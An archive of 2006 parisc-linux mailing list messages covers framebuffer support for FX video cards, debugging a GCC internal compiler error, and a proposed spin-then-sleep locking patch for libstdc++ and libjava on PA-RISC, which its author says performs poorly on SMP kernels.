List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gkBLdVU4YmYSn+nCanc3euBKWkZTQVTa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23712

On 5/31/06, Max Grabert <parisc@gmail.com> wrote:
> On 31/05/06, pyrotek <pyrotek@internode.on.net> wrote:

> > If so can I piggy back it off my FX10? Or do I need to use it by it self?
>
>
> You should be able to do both. Use sticon/stifb/X11 (fbdev) with the FX10

Err... No.

Only sticon works on FX cards. That's the whole point, you cannot do
graphics *at all* with them. Only text.

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Encounter ICE while: Re: [parisc-linux] Close to mainline for
Date: Wed, 31 May 2006 09:58:38 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <200605311358.k4VDwcHh023487@hiauly1.hia.nrc.ca>
References: <J04K6A$FA60C75853CD63495B4707B49127E6A4@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624097 19783 80.91.229.3 (22 Nov 2014 02:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2006 13:58:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 31 May 2006 15:58:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F41EB7D716;
	Wed, 31 May 2006 07:58:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22270-07; Wed, 31 May 2006 07:58:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 649517D71E;
	Wed, 31 May 2006 07:58:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F0BB7D718
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 07:58:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22278-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 07:58:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 16AF97D702
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 07:58:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4VDwcjF023489;
	Wed, 31 May 2006 09:58:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4VDwcHh023487;
	Wed, 31 May 2006 09:58:38 -0400 (EDT)
In-Reply-To: <J04K6A$FA60C75853CD63495B4707B49127E6A4@scarlet.be> from "Joel
	Soete" at May 31, 2006 12:08:34 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RcgYBeQgfW4orOWveGVoH5RmdmllcsXD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23713

> regcomp.c:408: internal compiler error: in gen_reg_rtx, at emit-rtl.c:807
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <URL:http://gcc.gnu.org/bugs.html> for instructions.
> For Debian GNU/Linux specific bug reporting instructions,
> see <URL:file:///usr/share/doc/gcc-4.1/README.Bugs>.
> Preprocessed source stored into /tmp/ccOU1j8a.out file, please attach this to
> your bugreport.
> make[2]: *** [/CAD/parisc-linux/CVS-20060529/build/posix/regex.o] Error 1
> 
> Dave can you confirm me that I would actualy fill in a pr?

My impression is that this wouldn't be useful without a lot more
investigation.  It's highly likely that the compiler used for this
compilation was itself miscompiled.  On the otherhand, if you are
using the stock debian build of 4.1 for this compilation, then
definitely a bug report should be submitted.

A version of regex is part of GCC in libiberty.  It builds in every
stage.  So, normally a problem compiling regex would be noticed
immediately.  That's what makes me think the problem is somehow
specific to the compiler that you are using.

There error would appear to be at this point:

  /* Don't let anything called after initial flow analysis create new
     registers.  */
  gcc_assert (!no_new_pseudos);

It would be useful to have a stack backtrace at the point of the error.

You can do this by running gcc with -v to determine the cc1 command
for the compilation.  Run cc1 under gdb.  Put a break on the gcc_assert.
Use the 'ignore' command to tell gdb to ignore the break some large
number of times.  Run the program from the start.  Info break will
tell you how many times the break has been hit.  Use ignore again to
set the number of breaks to ignore to the number of hits less one.
Rerun and a break should occur on the assert which calls abort.  You
could also put a break on abort.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "pyrotek" <pyrotek@internode.on.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question on video cards.
Date: Wed, 31 May 2006 14:03:03 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <1149048178_22889@mail.internode.on.net>
Reply-To: pyrotek@internode.on.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624098 19784 80.91.229.3 (22 Nov 2014 02:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2006 04:03:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 31 May 2006 06:03:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 528267D709;
	Tue, 30 May 2006 22:03:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16244-01; Tue, 30 May 2006 22:03:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12DD07D700;
	Tue, 30 May 2006 22:03:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E0C67D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 22:03:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15954-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 22:03:09 -0600 (MDT)
Original-Received: from mail.internode.on.net (bld-mail07.adl2.internode.on.net
	[203.16.214.71])
	by free.linux.hp.com (Postfix) with ESMTP id BAA1B7D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 22:03:08 -0600 (MDT)
Original-Received: from tank (unverified [59.167.97.42]) 
	by mail.internode.on.net (SurgeMail 3.2f) with ESMTP id 27434584 
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 13:32:58 +0930 (CST)
X-Mailer: Microsoft Office Outlook, Build 11.0.6353
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869
thread-index: AcaEWWJsNnFPbhmSSZyOOLC3I3vffQADbaQw
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5nwId1w+ODBpsLWUfGRMZjE1Ji9SWtLc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23714


Hello all,

I know this topic has been done to death. And I have read quite a lot in the
mailing list archives.
If I've missed something please feal free to point me in the right
direction.

I've got a Fx10 (grumbles)
I don't want to go back to a Vis-EG 8bit colour no thanks I use the Fx10 in
Hp-UX

>>From my limited understanding "some" PCI video cards "may" work.

I have read that the voodoo 2 card "should" work?
>>From my memory this was a PCI card that connected to your main video card
via a small vga cable. is this the card everyone is talking about?
If so can I piggy back it off my FX10? Or do I need to use it by it self?

Can anyone confirm that this works?

Also has any one tested this? 8MB 3dfx Voodoo Banshee PCI?

Thanks
Brendan

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] User space locks -- what's wrong
Date: Sun, 4 Jun 2006 19:55:58 -0400 (EDT)
Lines: 258
Approved: news@gmane.org
Message-ID: <200606042355.k54Ntw0R026812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624098 19785 80.91.229.3 (22 Nov 2014 02:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2006 00:10:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 05 Jun 2006 02:10:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 967877D62B;
	Sun,  4 Jun 2006 18:10:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01971-03; Sun, 4 Jun 2006 18:10:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BA817D63A;
	Sun,  4 Jun 2006 18:10:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF9B17D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 18:10:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01612-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 18:10:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A50CB7D415
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 18:10:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k54NtxIJ026814
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 19:55:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k54Ntw0R026812
	for parisc-linux@lists.parisc-linux.org;
	Sun, 4 Jun 2006 19:55:58 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HR/2d84kODBpsLWUfGRM6QA1Ji9SWpKa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23715

I'm about to throw the following change to the garbage heap since it
doesn't work as expected, particularly with SMP kernels.

The problem is I still see occasional libstdc++ and libjava testsuite
failures in pthread process intensive tests.  In particular, I'm getting
timeouts on tests that didn't timeout before.

The enclosed change is based on ideas presented in the paper,
"Implementing Spinlocks on the Intel Itanium Architecture and PA-RISC".

The main issue that the change tries to address is that spinning
indefinitely in user space on a UP kernel just burns cycles.  So, the
change is to spin awhile and then sleep.  This seemed to work with
the test application in the paper, but in practice it seems to cause
more test failures that just spinning, particularly on SMP kernels.
I suspect that on SMP kernels we sometimes end up with all threads
sleeping.

I've tried various sleep routines including sched_yield, and other
optimizations, but they don't seem to make a difference.  The trick
to dirty the cacheline presented in the paper didn't help performance
as measured by the Appendix F program.  I also didn't see
and difference in performance using the ",co" completer.  Possibly,
this is because I only tested on coherent PA 2.0 machines.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: libstdc++-v3/config/cpu/hppa/atomicity.h
===================================================================
--- libstdc++-v3/config/cpu/hppa/atomicity.h	(revision 114341)
+++ libstdc++-v3/config/cpu/hppa/atomicity.h	(working copy)
@@ -1,6 +1,6 @@
 // Low-level functions for atomic operations: PA-RISC version  -*- C++ -*-
 
-// Copyright (C) 2002, 2004, 2005 Free Software Foundation, Inc.
+// Copyright (C) 2002, 2004, 2005, 2006 Free Software Foundation, Inc.
 //
 // This file is part of the GNU ISO C++ Library.  This library is free
 // software; you can redistribute it and/or modify it under the
@@ -29,7 +29,21 @@
 
 #include <bits/c++config.h>
 #include <bits/atomicity.h>
+#include <sys/time.h>
 
+// Macro to execute the only PA_RISC atomic operation (load and clear word).
+// The operand A must point to the 16-byte aligned lock word.  The result
+// is returned in V.
+#define PA_ASM_LOCK(a,v) \
+  __asm__ __volatile__ ("{ldcws|ldcw} 0(%1),%0"			\
+			: "=r" (v) : "r" (a): "memory")
+
+// Macro to reset lock using an order PA 2.0 store.  The operand A
+// must point to the lock word.  The operand V must contain the value 1.
+#define PA_ASM_UNLOCK(a,v) \
+  __asm__ __volatile__ ("{stws|stw},ma %1,0(%0)"		\
+			: : "r" (a), "r" (v) : "memory")
+
 _GLIBCXX_BEGIN_NAMESPACE(__gnu_cxx)
 
   template<int _Inst>
@@ -46,6 +60,32 @@
   // linker, we explicitly instantiate the atomicity lock.
   template volatile int _Atomicity_lock<0>::_S_atomicity_lock;
 
+  // Spin and sleep until we acquire the requested lock.
+  inline static void
+  __attribute__ ((__unused__))
+  _pa_getlock (volatile int *lptr)
+  {
+    int tmp;
+    unsigned int spins;
+    struct timeval sleeptime;
+
+    while (1)
+      {
+	// The number of spins should be one on a UP system.
+	for (spins = 100; spins; spins--)
+	  {
+	    PA_ASM_LOCK (lptr, tmp);
+	    if (tmp != 0)
+	      return;
+	  }
+
+	// The sleep time choice isn't critical.
+	sleeptime.tv_sec = 0;
+	sleeptime.tv_usec = 5000;
+	select (0, 0, 0, 0, &sleeptime);
+      }
+  }
+
   int
   __attribute__ ((__unused__))
   __exchange_and_add(volatile _Atomic_word* __mem, int __val)
@@ -54,21 +94,17 @@
     int tmp;
     volatile int& lock = _Atomicity_lock<0>::_S_atomicity_lock;
     
-    __asm__ __volatile__ ("ldcw 0(%1),%0\n\t"
-			  "cmpib,<>,n 0,%0,.+20\n\t"
-			  "ldw 0(%1),%0\n\t"
-			  "cmpib,= 0,%0,.-4\n\t"
-			  "nop\n\t"
-			  "b,n .-20"
-			  : "=&r" (tmp)
-			  : "r" (&lock)
-			  : "memory");
-    
+    PA_ASM_LOCK (&lock, tmp);
+    if (tmp == 0)
+      {
+	// Didn't get lock.
+	_pa_getlock (&lock);
+      }
+
     result = *__mem;
     *__mem = result + __val;
-    /* Reset lock with PA 2.0 "ordered" store.  */
-    __asm__ __volatile__ ("stw,ma %1,0(%0)"
-			  : : "r" (&lock), "r" (tmp) : "memory");
+
+    PA_ASM_UNLOCK (&lock, tmp);
     return result;
   }
   
@@ -79,20 +115,17 @@
     int tmp;
     volatile int& lock = _Atomicity_lock<0>::_S_atomicity_lock;
     
-    __asm__ __volatile__ ("ldcw 0(%1),%0\n\t"
-			  "cmpib,<>,n 0,%0,.+20\n\t"
-			  "ldw 0(%1),%0\n\t"
-			  "cmpib,= 0,%0,.-4\n\t"
-			  "nop\n\t"
-			  "b,n .-20"
-			  : "=&r" (tmp)
-			  : "r" (&lock)
-			  : "memory");
-    
+    PA_ASM_LOCK (&lock, tmp);
+    if (tmp == 0)
+      {
+	// Didn't get lock.
+	_pa_getlock (&lock);
+	tmp = 1;
+      }
+
     *__mem += __val;
-    /* Reset lock with PA 2.0 "ordered" store.  */
-    __asm__ __volatile__ ("stw,ma %1,0(%0)"
-			  : : "r" (&lock), "r" (tmp) : "memory");
+
+    PA_ASM_UNLOCK (&lock, tmp);
   }
 
 _GLIBCXX_END_NAMESPACE
Index: libjava/sysdep/pa/locks.h
===================================================================
--- libjava/sysdep/pa/locks.h	(revision 114341)
+++ libjava/sysdep/pa/locks.h	(working copy)
@@ -1,6 +1,6 @@
 // locks.h - Thread synchronization primitives. PA-RISC implementation.
 
-/* Copyright (C) 2002, 2005  Free Software Foundation
+/* Copyright (C) 2002, 2005, 2006  Free Software Foundation
 
    This file is part of libgcj.
 
@@ -11,6 +11,8 @@
 #ifndef __SYSDEP_LOCKS_H__
 #define __SYSDEP_LOCKS_H__
 
+#include <sys/time.h>
+
 // Integer type big enough for object address.
 typedef size_t obj_addr_t;
 
@@ -28,6 +30,45 @@
 // linker, we explicitly instantiate the atomicity lock.
 template volatile int _pa_jv_cas_lock<0>::_S_pa_jv_cas_lock;
 
+// Macro to execute the only PA_RISC atomic operation (load and clear word).
+// The operand A must point to the 16-byte aligned lock word.  The result
+// is returned in V.
+#define PA_ASM_LOCK(a,v) \
+  __asm__ __volatile__ ("{ldcws|ldcw} 0(%1),%0"			\
+                        : "=r" (v) : "r" (a): "memory")
+
+// Macro to reset lock using an order PA 2.0 store.  The operand A
+// must point to the lock word.  The operand V must contain the value 1.
+#define PA_ASM_UNLOCK(a,v) \
+  __asm__ __volatile__ ("{stws|stw},ma %1,0(%0)"		\
+                        : : "r" (a), "r" (v) : "memory")
+
+// Spin and sleep until we acquire the requested lock.
+inline static void
+__attribute__ ((__unused__))
+_pa_getlock (volatile int *lptr)
+{
+  int tmp;
+  unsigned int spins;
+  struct timeval sleeptime;
+
+  while (1)
+    {
+      // The number of spins should be one on a UP system.
+      for (spins = 100; spins; spins--)
+	{
+	  PA_ASM_LOCK (lptr, tmp);
+	  if (tmp != 0)
+	    return;
+	}
+
+      // The sleep time choice isn't critical.
+      sleeptime.tv_sec = 0;
+      sleeptime.tv_usec = 5000;
+      select (0, 0, 0, 0, &sleeptime);
+    }
+}
+
 // Atomically replace *addr by new_val if it was initially equal to old_val.
 // Return true if the comparison is successful.
 // Assumed to have acquire semantics, i.e. later memory operations
@@ -44,15 +85,13 @@
   int tmp;
   volatile int& lock = _pa_jv_cas_lock<0>::_S_pa_jv_cas_lock;
 
-  __asm__ __volatile__ ("ldcw 0(%1),%0\n\t"
-			"cmpib,<>,n 0,%0,.+20\n\t"
-			"ldw 0(%1),%0\n\t"
-			"cmpib,= 0,%0,.-4\n\t"
-			"nop\n\t"
-			"b,n .-20"
-			: "=&r" (tmp)
-			: "r" (&lock)
-			: "memory");
+  PA_ASM_LOCK (&lock, tmp);
+  if (tmp == 0)
+    {
+      // Didn't get lock.
+      _pa_getlock (&lock);
+      tmp = 1;
+    }
 
   if (*addr != old_val)
     result = false;
@@ -62,10 +101,7 @@
       result = true;
     }
 
-  /* Reset lock with PA 2.0 "ordered" store.  */
-  __asm__ __volatile__ ("stw,ma %1,0(%0)"
-			: : "r" (&lock), "r" (tmp) : "memory");

From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Mon, 5 Jun 2006 10:40:33 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20060605144033.GD1335@skunkworks.cabal.ca>
References: <200606042355.k54Ntw0R026812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624098 19787 80.91.229.3 (22 Nov 2014 02:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2006 14:53:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 05 Jun 2006 16:53:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5446D7D64F;
	Mon,  5 Jun 2006 08:53:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09011-09; Mon, 5 Jun 2006 08:53:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFAE97D652;
	Mon,  5 Jun 2006 08:53:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45C457D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 08:53:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09011-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 08:53:12 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2EB0F7D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 08:53:12 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2D15C5840E5;
	Mon,  5 Jun 2006 10:53:11 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8CF775840E2;
	Mon,  5 Jun 2006 10:53:10 -0400 (EDT)
